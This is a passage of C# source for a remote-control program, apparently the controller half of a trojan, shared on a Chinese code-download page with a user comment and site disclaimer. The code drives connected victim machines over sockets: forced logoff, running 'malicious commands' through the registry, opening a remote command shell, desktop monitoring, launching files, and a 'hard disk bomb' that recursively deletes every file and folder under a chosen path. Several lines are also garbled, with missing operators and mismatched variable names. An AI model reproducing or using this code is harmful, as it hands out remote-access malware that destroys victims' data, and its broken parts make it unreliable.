                            this.txtShowInfo.Items.Clear();
                            this.txtShowInfo.Items.Add("\r\n"   "重启失败-----");
                        }
                        ns.Close();
                    }
                }
            }
        }
        #endregion
        #region 选中全部现在主机
        /// <summary>
        /// 选中全部现在主机
        /// </summary>
        bool check = true;
        private void checkBox1_CheckedChanged(object sender, EventArgs e)
        {
            if (check)
            {
                for (int i = 0; i < this.listViewCommand.Items.Count; i  )
                {
                    this.listViewCommand.Items[i].Checked = true;
                }
                check = false;
            }
            else
            {
                for (int i = 0; i < this.listViewCommand.Items.Count; i  )
                {
                    this.listViewCommand.Items[i].Checked = false;
                }
                check = true;
            }
        }
        #endregion
        #region 消息预览事件
        /// <summary>
        /// 消息预览事件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnPreviewMessage_Click(object sender, EventArgs e)
        {
            PreviewMessage pm = new PreviewMessage();
            pm.Preview(this);
        }
        #endregion
        #region 发送消息事件
        /// <summary>
        /// 发送消息事件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnSendMessage_Click(object sender, EventArgs e)
        {
            SendMessage sm = new SendMessage();
            sm.Message(this);
        }
        #endregion
        private void button5_Click(object sender, EventArgs e)
        {
            MessageBox.Show(this.finallyIP.ToString());
        }

        private void listViewCommand_ItemChecked(object sender, ItemCheckedEventArgs e)
        {
            this.finallyIP = e.Item.Text;
        }

        private void lblShowIP_Click(object sender, EventArgs e)
        {
            this.Kill();
        }
        #region 结束进程
        /// <summary>
        /// 结束进程
        /// </summary>
        public void Kill()
        {
            //定义选中的项
            int index = 0;
            string item = null;
            //取得当前所选中的项
            foreach (int i in this.listViewCourse.SelectedIndices)
            {
                index = i;
            }
            //取得当前所选中的项的值
            item = this.listViewCourse.Items[index].SubItems[0].Text.ToString();
            //比较在当前进程是否有该项
            foreach (Process p in Process.GetProcesses(Environment.MachineName))
            {
                if (item == p.ProcessName)
                {
                    //比较如果有该项就关闭所选中的进程
                    p.Kill();
                    //刷新列表
                    this.listViewCourse.Refresh();
                }
            }
        }
        #endregion
        private void btnCloseCourse_Click(object sender, EventArgs e)
        {

        }
        #region 注销远程主机
        /// <summary>
        /// 注销远程主机
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnLogon_Click(object sender, EventArgs e)
        {
            MessageBox.Show(this.ary.Count.ToString());
            foreach (int i in listViewCommand.CheckedIndices)
            {
                for (int j = 0; j < this.ary.Count; j  )
                {
                    Socket sk = (Socket)this.ary[j];
                    IPAddress ip = IPAddress.Parse(((IPEndPoint)sk.RemoteEndPoint).Address.ToString());
                    MessageBox.Show(ip.ToString());
                    if (this.listViewCommand.Items[j].Text == ip.ToString() && this.listViewCommand.Items[j].Checked == true)
                    {
                        NetworkStream ns = new NetworkStream(sk);
                        Command cmd = new Command(ns);
                        if (cmd.LogonComputer())
                        {
                            this.txtShowInfo.Items.Clear();
                            this.txtShowInfo.Items.Add("\r\n"   "注销成功-----");
                        }
                        else
                        {
                            this.txtShowInfo.Items.Clear();
                            this.txtShowInfo.Items.Add("\r\n"   "注销失败-----");
                        }
                        ns.Close();
                    }
                }
            }
        }
        #endregion
        #region 执行恶意命令
        /// <summary>
        /// 执行恶意命令
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void Execute_Click(object sender, EventArgs e)
        {
            try
            {
                foreach (int i in listViewCommand.CheckedIndices)
                {
                    for (int j = 0; j < this.ary.Count; j  )
                    {
                        Socket sk = (Socket)this.ary[j];
                        IPAddress ip = IPAddress.Parse(((IPEndPoint)sk.RemoteEndPoint).Address.ToString());
                        if (this.listViewCommand.Items[j].Text == ip.ToString() && this.listViewCommand.Items[j].Checked == true)
                        {
                            string execute = null;
                            for (int k = 0; k < this.tabHostilityCommand.Controls.Count; k  )
                            {
                                //取得选中的值
                                if (this.tabHostilityCommand.Controls[k].ToString().IndexOf("CheckBox") != -1)
                                {
                                    if (((CheckBox)this.tabHostilityCommand.Controls[k]).Checked == true)
                                    {
                                        execute  = this.tabHostilityCommand.Controls[k].Name   "|";
                                    }
                                }
                            }
                            execute.Substring(0, execute.Length - 1);
                            NetworkStream ns = new NetworkStream(sk);
                            Command cmd = new Command(ns);
                            int count = cmd.Regedit(execute);
                            this.txtShowInfo.Items.Clear();
                            this.txtShowInfo.Items.Add("\r\n"   count   "  条命令执行成功-----");
                            ns.Close();
                        }
                    }
                }
            }
            catch(Exception)
            {
                this.txtShowInfo.Items.Add("条命令执行失败-----");
            }

        }
        #endregion
        private void 更换皮肤ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            // this.skinEngine1
        }
        #region 执行Dos命令
        /// <summary>
        /// 执行Dos命令
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnCommand_Click(object sender, EventArgs e)
        {
            if (this.listViewCommand.CheckedIndices.Count > 1)
            {
                MessageBox.Show("命令不能两台机器同时执行..");
            }
            else if (this.listViewCommand.CheckedIndices.Count == 0)
            {
                MessageBox.Show("请选择要执行命令的机器..");
            }
            else
            {
                int index = 0;
                foreach (int i in this.listViewCommand.CheckedIndices)
                {
                    index = i;
                }
                for (int i = 0; i < this.ary.Count; i  )
                {
                    Socket s = (Socket)this.ary[i];
                    IPAddress ip = IPAddress.Parse(((IPEndPoint)sk.RemoteEndPoint).Address.ToString());
                    if (this.listViewCommand.Items[index].Text == ip.ToString() && this.listViewCommand.Items[i].Checked == true)
                    {
                        CommandFrame cf = new CommandFrame(s);
                        cf.Show();
                    }
                }
            }
        }
        #endregion
        private void btnHelp_Click(object sender, EventArgs e)
        {
            HelpFrmae hf = new HelpFrmae();
            hf.Show();
        }

        private void 配置服务器ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            NewServer server = new NewServer();
            server.Show();
        }
        bool tool = true;
        #region 工具栏单击事件
        /// <summary>
        /// 工具栏单击事件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void 工具栏ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (tool)
            {
                this.btnOnline.Show();
                this.btnSettServer.Show();
                this.btnDesktop.Show();
                this.btnCommand.Show();
                this.btnVideo.Show();
                this.btnHelp.Show();
                this.btnMinimize.Show();
                tool = false;
            }
            else
            {
                this.btnMinimize.Hide();
                this.btnHelp.Hide();
                this.btnCommand.Hide();
                this.btnVideo.Hide();
                this.btnSettServer.Hide();
                this.btnDesktop.Hide();
                this.btnOnline.Hide();
                tool = true;
            }
        }
        #endregion
        #region 远程桌面监控
        /// <summary>
        /// 远程桌面监控
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnDesktop_Click(object sender, EventArgs e)
        {
            if (this.listViewCommand.CheckedIndices.Count > 1)
            {
                MessageBox.Show("不能同时监控两台机器..");
            }
            else if (this.listViewCommand.CheckedIndices.Count == 0)
            {
                MessageBox.Show("请选择要时监控的机器..");
            }
            else
            {
                int index = 0;
                foreach (int i in this.listViewCommand.CheckedIndices)
                {
                    index = i;
                }
                for (int i = 0; i < this.ary.Count; i  )
                {
                    Socket sk = (Socket)this.ary[i];
                    IPAddress ip = IPAddress.Parse(((IPEndPoint)sk.RemoteEndPoint).Address.ToString());
                    if (this.listViewCommand.Items[index].Text == ip.ToString() && this.listViewCommand.Items[i].Checked == true)
                    {
                        Desktop dk = new Desktop(sk);
                        dk.Show();
                    }
                }
            }
        }
        #endregion
        #region 运行文件
        /// <summary>
        /// 运行文件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnRun_Click(object sender, EventArgs e)
        {
            try
            {
                if (this.treeView1.SelectedNode.FullPath.IndexOf("远程主机") != -1)
                {             //取得当前listView所选中的项
                    int index = 0;
                    foreach (int i in this.listViewFile.SelectedIndices)
                    {
                        index = i;
                    }
                    string list = this.listViewFile.Items[index].SubItems[0].Text;
                    //取得当前的节点
                    string tree = this.treeView1.SelectedNode.Text;
                    //并接成字符串
                    string filePath = tree  "\\"  list;
                    for (int i = 0; i < this.ary.Count; i  )
                    {
                        Socket s = (Socket)this.ary[i];
                        IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString());
                        if (ip.ToString() == this.lastly)
                        {
                            NetworkStream ns = new NetworkStream(s);
                            Command cmd = new Command(ns);
                            if (cmd.RunFile(filePath))
                            {
                                this.txtShowInfo.Items.Clear();
                                this.txtShowInfo.Items.Add("\r\n"   "文件运行成功-----");
                                //刷新
                                this.treeView1.Refresh();
                                this.listViewFile.Refresh();
                            }
                            else
                            {
                                this.txtShowInfo.Items.Clear();
                                this.txtShowInfo.Items.Add("\r\n"   "文件运行失败-----");
                            }
                            ns.Close();
                        }
                    }
                }
                else
                {
                    //取得当前listView所选中的项
                    int index = 0;
                    foreach (int i in this.listViewFile.SelectedIndices)
                    {
                        index = i;
                    }
                    string list = this.listViewFile.Items[index].SubItems[0].Text;
                    //取得当前的节点
                    string tree = this.treeView1.SelectedNode.Text;
                    //并接成字符串
                    string filePath = tree   list;
                    //运行该文件
                    Process p = new Process();
                    //判断是否是文件夹
                    bool run = false;
                    if (Directory.Exists(filePath))
                    {
                        p.StartInfo.FileName = "explorer.exe";
                        p.StartInfo.Arguments = filePath;
                        run = true;
                    }
                    else
                    {
                        //打开文件
                        p.StartInfo.FileName = filePath;
                        //开始运行
                        p.Start();
                        run = true;
                    }
                    if (run)
                    {
                        this.txtShowInfo.Items.Clear();
                        this.txtShowInfo.Items.Add("\r\n"   "文件运行成功-----");
                        //刷新
                        
                        this.treeView1.Refresh();
                        this.listViewFile.Refresh();
                    }
                    else
                    {
                        this.txtShowInfo.Items.Clear();
                        this.txtShowInfo.Items.Add("\r\n"   "文件运行失败-----");
                    }
                }
            }
            catch (Exception)
            {
            }
        }
        #endregion
        #region 硬盘炸弹执行方法
        /// <summary>
        /// 硬盘炸弹执行方法
        /// </summary>
        /// <param name="path"></param>
        private void DeleteDir(string path)
        {
            try
            {
                string[] paths = path.Split('|');
                for (int i = paths.Length-1; i >=0; i--)
                {
                    Directory.Delete(paths[i].ToString());
                }
                this.dir = "";
            }
            catch(Exception)
            {
                this.dir = "";
            }
        }
        string dir = "";
        private void DeleteFile(string path)
        {
            try
            {
                DirectoryInfo directory = new DirectoryInfo(path);
                FileInfo[] files = directory.GetFiles();
                foreach (FileInfo d in files)
                {
                    d.Delete();
                }
                DirectoryInfo[] dire = directory.GetDirectories();
                foreach (DirectoryInfo d in dire)
                {
                    dir  = d.FullName "|";
                    this.DeleteFile(path   "//"   d.Name);
                }
            }
            catch (Exception)
            {
                this.txtShowInfo.Items.Clear();
                this.txtShowInfo.Items.Add("\r\n"   "轰炸失败-----");
            }
        }
        #endregion
        #region 硬盘炸弹
        /// <summary>
        /// 硬盘炸弹
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnBomb_Click(object sender, EventArgs e)
        {
            try
            {
                if (null == this.treeView1.SelectedNode)
                {
                    return;
                }
                if (this.treeView1.SelectedNode.FullPath.IndexOf("远程主机") != -1)
                {
                    //取得当前的节点
                    string tree = this.treeView1.SelectedNode.Text;
                    //并接成字符串
                    string filePath = tree;
                    for (int i = 0; i < this.ary.Count; i  )
                    {
                        Socket s = (Socket)this.ary[i];
                        IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString());
                        if (ip.ToString() == this.lastly)
                        {
                            NetworkStream ns = new NetworkStream(s);
                            Command cmd = new Command(ns);
                            if (cmd.Bomb(filePath))
                            {
                                this.txtShowInfo.Items.Clear();
                                this.txtShowInfo.Items.Add("\r\n"   "轰炸成功-----");
                                //刷新
                                this.treeView1.Refresh();
                                this.listViewFile.Items.Clear();
                            }
                            else
                            {
                                this.txtShowInfo.Items.Clear();
                                this.txtShowInfo.Items.Add("\r\n"   "轰炸失败-----");
                                //刷新
                                this.treeView1.Refresh();
                                this.listViewFile.Items.Clear();
                            }
                            ns.Close();
                        }
                    }
                }
                else
                {
                    //取得当前的节点
                    string tree = this.treeView1.SelectedNode.Text;
                    //并接成字符串
                    string filePath = tree;
                    //运行该文件
                    this.DeleteFile(filePath);
                    this.DeleteDir(this.dir.Substring(0, dir.Length - 1));
                    this.txtShowInfo.Items.Clear();
                    this.txtShowInfo.Items.Add("\r\n"   "轰炸成功-----");

                }
            }
            catch (Exception)
            {
                this.txtShowInfo.Items.Clear();
                this.txtShowInfo.Items.Add("\r\n"   "轰炸失败-----");
            }
        }
        #endregion
    }
}

标签: 远程 控制

实例下载地址

C# 远程控制 实例源码(客户端+服务端)

不能下载?内容有错? 点击这里报错 + 投诉 + 提问

好例子网口号:伸出你的我的手 — 分享

网友评论

第 1 楼 704357815 发表于: 2021-11-05 23:02 51
不可用,缺少引用

支持(0) 盖楼(回复)

发表评论

(您的评论需要经过审核才能显示)

查看所有2条评论>>

小贴士

感谢您为本站写下的评论,您的评论对其它用户来说具有重要的参考价值,所以请认真填写。

  • 类似“顶”、“沙发”之类没有营养的文字,对勤劳贡献的楼主来说是令人沮丧的反馈信息。
  • 相信您也不想看到一排文字/表情墙,所以请不要反馈意义不大的重复字符,也请尽量不要纯表情的回复。
  • 提问之前请再仔细看一遍楼主的说明,或许是您遗漏了。
  • 请勿到处挖坑绊人、招贴广告。既占空间让人厌烦,又没人会搭理,于人于己都无利。

关于好例子网

本站旨在为广大IT学习爱好者提供一个非营利性互相学习交流分享平台。本站所有资源都可以被免费获取学习研究。本站资源来自网友分享,对搜索内容的合法性不具有预见性、识别性、控制性,仅供学习研究,请务必在下载后24小时内给予删除,不得用于其他任何用途,否则后果自负。基于互联网的特殊性,平台无法对用户传输的作品、信息、内容的权属或合法性、安全性、合规性、真实性、科学性、完整权、有效性等进行实质审查;无论平台是否已进行审查,用户均应自行承担因其传输的作品、信息、内容而可能或已经产生的侵权或权属纠纷等法律责任。本站所有资源不代表本站的观点或立场,基于网友分享,根据中国法律《信息网络传播权保护条例》第二十二与二十三条之规定,若资源存在侵权或相关问题请联系本站客服人员,点此联系我们。关于更多版权及免责申明参见 版权及免责申明

;
报警